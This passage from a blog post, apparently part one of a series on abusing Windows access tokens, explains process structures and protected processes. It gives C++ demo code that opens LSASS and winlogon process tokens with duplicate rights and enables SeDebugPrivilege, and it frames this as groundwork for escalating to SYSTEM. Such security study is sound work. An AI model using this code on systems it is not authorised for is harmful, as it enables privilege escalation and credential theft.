stores information about the process which is either not interesting enough for the kernel or would require going through kernel mode too many times and so is cached within the Process Environment Block.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*53jRyLv8iN9PUuTYEq-wYg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*J3gukdb7TozuHz-TuaS5Yg.png" /></figure><p><em>Note: This is the PEB value for Notepad process.</em></p><p>Now, we have enough understanding of the Process and its structure both in user mode and kernel mode.</p><p><strong>How to Open a Process using OpenProcess() function and why it is required?</strong></p><p>The process structure holds the access token attribute that tells about the security context of the running thread. Let’s move forward to understand the security context and what it contains. Before starting access tokens, we have to understand how processes can be interacted or opened and how we can read the access tokens so that we can play around with it. When a user logs in, the system collects a set of data that uniquely identifies the user during the authentication process, and stores it in an access token. This access token describes the security context of all processes associated with the user.</p><p>Let’s begin with the OpenProcess function:</p><p><strong>OpenProcess(): </strong>Opens an existing local process object.</p><p><strong>Syntax:</strong></p><pre>HANDLE OpenProcess(DWORD dwDesiredAccess,  BOOL  bInheritHandle,  DWORD dwProcessId);</pre><p>The OpenProcess() function accepts three inputs which are explained below:</p><ol><li>dwDesiredAccess: Access to the process object. This access right is checked against the security descriptor for the process. If the caller has enabled the SeDebugPrivilege privilege, the requested access is granted regardless of the contents of the security descriptor.</li><li>bInheritHandle: If this value is TRUE, processes created by this process will inherit the handle. Otherwise, the processes do not inherit this handle.</li><li>dwProcessId: The identifier of the local process to be opened.</li></ol><p>Note: If the specified process is the System Process (0x00000000), the function fails and the last error code is ERROR_INVALID_PARAMETER. If the specified process is the Idle process or one of the CSRSS processes, this function fails and the last error code is ERROR_ACCESS_DENIED because their access restrictions prevent user-level code from opening them.</p><p>Let’s understand the meaning of above parameters through a demo:</p><p>The below screenshot shows the code to invoke OpenProcess() Function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QNzuCRWgHg5RgcbRPqee_w.png" /></figure><p>Compile the program to generate the output executable as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EXae2xs6QHzMzDJB-c0xAQ.png" /></figure><p><strong>Code: [OpenProcess()]</strong></p><pre>#include &lt;windows.h&gt;</pre><pre>#include &lt;iostream&gt;</pre><pre>#include &lt;Lmcons.h&gt;</pre><pre>std::string get_username()</pre><pre>{</pre><pre>// Snippet to get the current username</pre><pre>TCHAR username[UNLEN + 1];</pre><pre>DWORD username_len = UNLEN + 1;</pre><pre>GetUserName(username, &amp;username_len);</pre><pre>std::wstring username_w(username);</pre><pre>std::string username_s(username_w.begin(), username_w.end());</pre><pre>return username_s;</pre><pre>}</pre><pre>int main(int argc, char** argv)</pre><pre>{</pre><pre>// Printing Curent Username</pre><pre>printf(&quot;[+] Current user is: %s\n&quot;, (get_username()).c_str());</pre><pre>// Grab PID from command line argument of the process you want open</pre><pre>char *pid_c = argv[1];</pre><pre>DWORD PID = atoi(pid_c);</pre><pre>// Call OpenProcess(), print return code and error code</pre><pre>//dwDesiredAccess à PROCESS_QUERY_INFORMATION: Required to retrieve certain information about a process, such as its token, exit code, and priority class</pre><pre>//bInheritHandle à True: Processes created by this process will inherit the handle</pre><pre>//dwProcessId à Process ID to be provided as user input</pre><pre>HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID);</pre><pre>if (GetLastError() == NULL)</pre><pre>printf(&quot;[+] OpenProcess() success!\n&quot;);</pre><pre>else</pre><pre>{</pre><pre>printf(&quot;[-] OpenProcess() Return Code: %i\n&quot;, processHandle);</pre><pre>printf(&quot;[-] OpenProcess() Error: %i\n&quot;, GetLastError());</pre><pre>}</pre><pre>return 0;</pre><pre>}</pre><p>In the above code, we are taking process identifier as input to get the process handle. In the OpenProcess function, we have assigned PROCESS_QUERY_LIMITED_INFORMATION as dwDesiredAccess which is an access right. The access check takes into account whether the calling process would have PROCESS_QUERY_LIMITED_INFORMATION access to the target process which is a prerequisite for opening the Token. As per Microsoft documentation, there are two access rights that can be assigned to retrieve certain information about a process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ia8RpvLsUPLV7L8I9JD4pA.png" /></figure><p>Note: The MSDN documentation has incorrectly mentioned that the minimum access rights required to open the process are PROCESS_QUERY_INFORMATION. This has already been highlighted by many security folks already.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*kYAii4EuMST2cy1vb6Cb8g.png" /></figure><p>Let’s take a look into the actual minimum required rights to Open the process in Kernel mode:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*QwGih8IL9_grMKXnMXZD_Q.png" /></figure><p><em>Note: Access Mask </em><strong><em>0x1000</em></strong><em> means </em><strong><em>PROCESS_QUERY_LIMITED_INFORMATION.</em></strong></p><p>Open command prompt. Check the owner of the cmd.exe process, under which the task is running:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*XP_IURJnhhTHvFOMhJ1VxQ.png" /></figure><p>Now, run the Demo_OpenProcess.exe with LSASS.exe PID. Here, we will consider two scenarios:</p><ul><li>Using OpenProcess function with the process running under same owner</li><li>Using OpenProcess function with the process running under System owner</li></ul><p>With the Same owner:</p><p>Cmd.exe is running under the Pentest user. Also, WINWORD.exe is running under the Pentest username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*LYuIPG4eRJ1M1OBBr7AvmA.png" /></figure><p>Privileges of Pentest User are as under:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*lGyd393TLM-DpUFa0sE-Kg.png" /></figure><p>Note: Even though the user in question is a local administrator, the unelevated cmd.exe shell carries a token restricted to only a handful of privileges. This type of access token is also called as “Restricted Access Token”. When elevated to run as administrator, the process carries the user’s primary token with a larger list of privileges.</p><p>It means if we run Demo_OpenProcess.exe without elevation, the process will carry above mentioned limited privileges.</p><p>Running Demo_OpenProcess.exe with parameter as Winword.exe process PID (7680):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*7hyTKLXyqEPwOJYSWjMfeA.png" /></figure><p>We can observe that the OpenProcess function was able to open the process object. It means that the Demo_OpenProcess.exe is running with the same or higher privileges than the winword.exe process.</p><p>Note: It doesn’t mean all the process objects that run under the same user account can be opened. It totally depends on the parent process or the <strong>Owner</strong> of the process. Some processes require seDebug privileges to open the process. It means we can open any process in windows with appropriate required rights.</p><p>We will open two command prompts, one with administrator privileges and one without and compare the privileges assigned by default.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9wzESJ1V0pYSHSn3jHSAhg.png" /></figure><p>Let’s take a look at process explorer as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d3POVlGwapb99FO4u06I0w.png" /></figure><p>When we run cmd.exe with Administrator privileges the BUILTIN\Administrators flag is set to Owner. Which means cmd.exe is running in the security context of Administrator privileges. Through which we can perform below-mentioned operations:</p><ul><li>Impersonate a client after authentication using SeImpersonatePrivilege</li><li>Debug programs (By default: Administrator account is added in the User Rights Assignment — Debug Programs)</li></ul><p>We now understand how to open the process and get the process handle and also that we need seDebug privilege to open some of the protected processes such as CSRSS.exe.</p><p><strong>How to Open a Process Token using OpenProcessToken() function and why it is required?</strong></p><p>Now we will try to open a process and pass the process handle to the OpenAccessToken function. So that we can read the Access Token.</p><p><strong>OpenAccessToken()</strong></p><p>Let’s check the OpenProcessToken() function to open the access token associated with the process.</p><p>Syntax:</p><p>BOOL OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);</p><p>In the above syntax, OpenProcessToken() function takes three inputs described below:</p><ol><li>ProcessHandle: A handle to the process whose access token is opened. The process must have the PROCESS_QUERY_LIMITED_INFORMATION access permission, which we have already learned while calling OpenProcess() function.</li><li>DesiredAccess: Specifies an access mask (i.e., privilege attributes) that specifies the requested types of access to the access token. These requested access types are compared with the discretionary access control list (DACL) of the token to determine which accesses are granted or denied.</li><li>TokenHandle: A pointer to a handle that identifies the newly opened access token when the function returns.</li></ol><p>Now, let’s take a look at the code:</p><p><strong>Code: [OpenProcessToken()]</strong></p><pre>#include &lt;windows.h&gt;</pre><pre>#include &lt;iostream&gt;</pre><pre>#include &lt;Lmcons.h&gt;</pre><pre>std::string get_username()</pre><pre>{</pre><pre>// Snippet to get the current username</pre><pre>TCHAR username[UNLEN + 1];</pre><pre>DWORD username_len = UNLEN + 1;</pre><pre>GetUserName(username, &amp;username_len);</pre><pre>std::wstring username_w(username);</pre><pre>std::string username_s(username_w.begin(), username_w.end());</pre><pre>return username_s;</pre><pre>}</pre><pre>int main(int argc, char** argv)</pre><pre>{</pre><pre>// Printing Curent Username</pre><pre>printf(&quot;[+] Current user is: %s\n&quot;, (get_username()).c_str());</pre><pre>// Grab PID from command line argument</pre><pre>char *pid_c = argv[1];</pre><pre>DWORD PID = atoi(pid_c);</pre><pre>// A pointer to a handle that identifies the newly opened access token when the function returns.</pre><pre>HANDLE currentTokenHandle = NULL;</pre><pre>// Call OpenProcess(), print return code and error code</pre><pre>//dwDesiredAccess à PROCESS_QUERY_INFORMATION: Required to retrieve certain information about a process, such as its token, exit code, and priority class</pre><pre>//bInheritHandle à True: Processes created by this process will inherit the handle</pre><pre>//dwProcessId à Process ID to be provided as user input</pre><pre>HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID);</pre><pre>if (GetLastError() == NULL)</pre><pre>printf(&quot;[+] OpenProcess() success!\n&quot;);</pre><pre>else</pre><pre>{</pre><pre>printf(&quot;[-] OpenProcess() Return Code: %i\n&quot;, processHandle);</pre><pre>printf(&quot;[-] OpenProcess() Error: %i\n&quot;, GetLastError());</pre><pre>}</pre><pre>BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &amp;currentTokenHandle);</pre><pre>if (GetLastError() == NULL)</pre><pre>printf(&quot;[+] OpenProcessToken() success!\n&quot;);</pre><pre>else</pre><pre>{</pre><pre>printf(&quot;[-] OpenProcessToken() Return Code: %i\n&quot;, getToken);</pre><pre>printf(&quot;[-] OpenProcessToken() Error: %i\n&quot;, GetLastError());</pre><pre>}</pre><pre>return 0;</pre><pre>}</pre><p>In the above code, OpenProcess() function takes a process identifier (PID) and returns a process handle. The process handle must be opened with the PROCESS_QUERY_INFORMATION, PROCESS_QUERY_LIMITED_INFORMATION, or the PROCESS_ALL_ACCESS access right to be useable with OpenProcessToken().</p><p>Here in our code, we are using PROCESS_QUERY_LIMITED_INFORMATION.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RgD-92YOwzMj8vtRMuSQ_A.png" /></figure><p>Note: We are able to successfully open the access token associated with the LSASS process (PID 784)</p><p>Before understanding how to open process tokens, we have to understand about different types of processes:</p><p>Few processes within Operating System runs with Protected rights and are called <strong>Protected processes</strong>. The purpose of the protected process was to host Digital Rights Management content, which should not be visible by any other process which would be a violation of the DRM license. So, <strong>a protected process can only be opened with limited access only</strong>. For example, <strong>there’s no way to read the address space or the contents of memory within that process. Not even by admin-level processes.</strong> So, there are only very few operations that are possible to do with a protected process. And, of course, these types of processes can only load protected-signed DLLs, signed in a very special certificate, and of course, that’s important, because otherwise some other DLL may be masquerading as the real DLL and be loaded inside such a process and violate all the protection protected process is supposed to have. The concept of Protected Processes was further extended and the new process model was formed which is called Protected Process Model and was first introduced in Windows 8.1. Below are the protected processes from my Windows 10 operating system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uql4q9FdUeFqSNIbGAawlQ.png" /></figure><p>Note: The Protection column above shows the Protected Process signers. Each signer comes with its own privileges. I will explain all the signers in more detail in the next section.</p><p>In the above screenshot, we can see the Protected Processes are assigned with a protection attribute. This protection attribute or flag is stored in EPROCESS structure which we can view through kernel debugger. <strong>In the kernel mode, one can tamper around with EPROCESS structure using kernel-mode drivers. From user mode, an attacker with the admin privilege can inject kernel-mode driver that can access anything within Protected Process or Protected Process Light. </strong>Though it would be a violation of the Protected Media Path (PMP) model and considered malicious, and such a driver would likely eventually be blocked. Code Signing policy in the kernel-mode prohibits the digital signing of the malicious code.</p><p>Below table shows the various Protection symbols along with its signer attribute, priority level (higher values denote the signer is more powerful) and where they are being used:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gVx05MUQc_zbhihswYISvg.png" /></figure><p>For example, let’s take a look at the EPROCESS structure of CSRSS process and its protection attribute:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5toTbCAi8tWIWV9jCT63hA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AszucglZT7S41iv1TXcLNg.png" /></figure><p>On clicking the Protection link shown in the screenshot above, it takes us to the Protection attribute definition:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1cUyhmWIuv0B4zG2kasxzw.png" /></figure><p>Note: From the above table, we know that the access mask 0x61 is for PS_PROTECTED_WINTCB_LIGHT. Therefore, we can see that the CSRSS process is protected with WINTCB_LIGHT signer. Similarly, as per the required privileges, different protected processes are assigned with different signers.</p><p>Now, we have an understanding of the protected processes as well. Let’s try to OpenProcessToken for different processes and try to understand whether it is possible to open process tokens of all the processes or not.</p><p>We will consider a few scenarios for this:</p><ol><li>Try to OpenProcessToken of a process running under NT Authority and with protection set to ‘NONE’.</li><li>Try to OpenProcessToken of a process running under NT Authority along with protection set to one of the signer flags.</li><li>Try to OpenProcessToken of a SYSTEM process.</li></ol><p><strong>Scenario 1:</strong> Try to OpenProcessToken of a process running under NT Authority and with protection attribute set to ‘NONE’.</p><p>For this, I will be considering WINLOGON.exe process:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VNrXZRbZm5h6l1guDBfqtA.png" /></figure><p>PID: 1056</p><p>Running the code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sTHvdN-nkkcraltzeSXjhg.png" /></figure><p><em>Note: We are able to open the process token of the winlogon.exe process running under NT Authority/SYSTEM.</em></p><p>We can also check for what all privileges Administrator security context have over winlogon.exe process through process explorer or process hacker:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tyfKlxrO24VDYuAVrcFYkA.png" /></figure><p><strong>Scenario 2: </strong>Try to OpenProcessToken of a process running under NT Authority along with protection set to one of the signer flags.</p><p>For this, I will be considering Sgrmbroker.exe (System Guard Runtime Monitor Broker Service) process running under NT Authority/SYSTEM with a protection bit set to <strong>PsProtectedSignerWinTcb</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FD407y-IN9yfNqz9N8A9dA.png" /></figure><p>PID: 7028</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B0_tWDSI6bPMOX0-DFHQYA.png" /></figure><p>Note: We can see that OpenProcess handle running with the security context of administrator privilege is not able to Open the process token.</p><p>Let’s take a look at the advanced permissions of the Administrator user for the sgrmBroker.exe process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f9GmlZhblTAuG1fsIyOqzQ.png" /></figure><p>It means the Administrator is only allowed to query information. We can check process Token privilege as well via the process hacker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eji9-5qEj747gjEZTIV7JA.png" /></figure><p>Administrator privilege can only query the token. For this scenario, we can OpenProcessToken using TOKEN_QUERY DesiredAccess right.</p><p><strong>Code:</strong></p><pre>BOOL getToken = OpenProcessToken(processHandle, <strong>TOKEN_QUERY</strong> , &amp;currentTokenHandle);</pre><p>Note: The administrator account only has Token query access right. Therefore, we cannot abuse these types of processes via the administrator account security context, we need at least <em>duplicate</em> and <em>Impersonate </em>privilege.</p><p>I tried to open the process tokens of all the protected processes, the results are mentioned in the table below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vqaeYbkVOI2ngmWZ4-v7fQ.png" /></figure><p><strong>seDebugPrivilege*:</strong> You can retrieve a handle to any process in the system by enabling the SeDebugPrivilege in the calling process. The calling process can then call the OpenProcess() Win32 API to obtain a handle with PROCESS_ALL_ACCESS, PROCESS_QUER_INFORMATION, or PROCESS_QUERY_LIMITED_INFORMATION. Below mentioned code will set seDebugPrivilege on the calling process.</p><p><strong>Code: seDebugPrivilege</strong></p><pre>BOOL SetPrivilege(</pre><pre>HANDLE hToken,          // access token handle</pre><pre>LPCTSTR lpszPrivilege,  // name of privilege to enable/disable</pre><pre>BOOL bEnablePrivilege   // True to enable.  False to disable.</pre><pre>)</pre><pre>{</pre><pre>TOKEN_PRIVILEGES tp;</pre><pre>LUID luid;</pre><pre>if (!LookupPrivilegeValue(</pre><pre>NULL,           // lookup privilege on local system</pre><pre>lpszPrivilege,   // privilege to lookup</pre><pre>&amp;luid))        // receives LUID of privilege</pre><pre>{</pre><pre>printf(&quot;[-] LookupPrivilegeValue error: %u\n&quot;, GetLastError());</pre><pre>return FALSE;</pre><pre>}</pre><pre>tp.PrivilegeCount = 1;</pre><pre>tp.Privileges[0].Luid = luid;</pre><pre>if (bEnablePrivilege)</pre><pre>tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;</pre><pre>else</pre><pre>tp.Privileges[0].Attributes = 0;</pre><pre>// Enable the privilege or disable all privileges.</pre><pre>if (!AdjustTokenPrivileges(</pre><pre>hToken,</pre><pre>FALSE,</pre><pre>&amp;tp,</pre><pre>sizeof(TOKEN_PRIVILEGES),</pre><pre>(PTOKEN_PRIVILEGES)NULL,</pre><pre>(PDWORD)NULL))</pre><pre>{</pre><pre>printf(&quot;[-] AdjustTokenPrivileges error: %u\n&quot;, GetLastError());</pre><pre>return FALSE;</pre><pre>}</pre><pre>if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)</pre><pre>{</pre><pre>printf(&quot;[-] The token does not have the specified privilege. \n&quot;);</pre><pre>return FALSE;</pre><pre>}</pre><pre>return TRUE;</pre><pre>}</pre><p><strong>Scenario 3: </strong>Try to OpenProcessToken of a SYSTEM process.</p><p>Following are the general permissions which administrator user have over SYSTEM:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C1jT-HdgO8GcxelWkSh89A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HyC1uEMgqry8uuRhlr2QKw.png" /></figure><p>We have enough privilege to open the process. Let’s check the privileges required to open the process token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SmV4dxYc7676W1njYp87ig.png" /></figure><p>Note: Administrator account doesn’t have any privilege on the SYSTEM process token. Therefore, we cannot open a process token from an administrative security context.</p><p><strong>So far, we have built an understanding of process creation, opening a handle to a process, and passing the handle to open the process token. We also learned, how to modify the OpenProcess and OpenProcessToken functions for accessing various protected processes. By looking at the permissions, we can at least discover whether our calling process has the privilege to open process token, and if yes, whether the privileges exposed are limited or can be abused.</strong></p><p>In <a href="https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962">Part II</a>, we will continue with <strong><em>Impersonate privilege</em></strong> and how we can abuse it to gain NT Authority/ SYSTEM access. Additionally, we will look into other privileges as well which can be abused and in what manner. Thanks for the read.</p><p><strong>References:</strong></p><p><a href="https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-2.html?m=1">https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-2.html?m=1</a></p><p><a href="https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b">https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b</a></p><p>Windows Internal 1, 2, 3 [Videos by Pavel Yosifovich]</p><p>Windows 10 Internals — Systems and Processes [Videos by Pavel Yosifovich]</p><p>Windows 10 Internals — Threads, Memory, and Security [Videos by Pavel Yosifovich]</p><p><strong>[OpenProcess()]</strong></p><p><a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess">https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess</a></p><p><strong>[OpenProcessToken()]</strong></p><p><a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken">https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken</a></p><p><a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/access-rights-for-access-token-objects">https://docs.microsoft.com/en-us/windows/win32/secauthz/access-rights-for-access-token-objects</a></p><p><a href="https://medium.com/palantir/windows-privilege-abuse-auditing-detection-and-defense-3078a403d74e">https://medium.com/palantir/windows-privilege-abuse-auditing-detection-and-defense-3078a403d74e</a></p><p><strong><em>Note: In case I have missed any reference, please let know and I’ll add that to the list. Apologies in advance. Happy Learning!😊</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee51671f2cfa" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>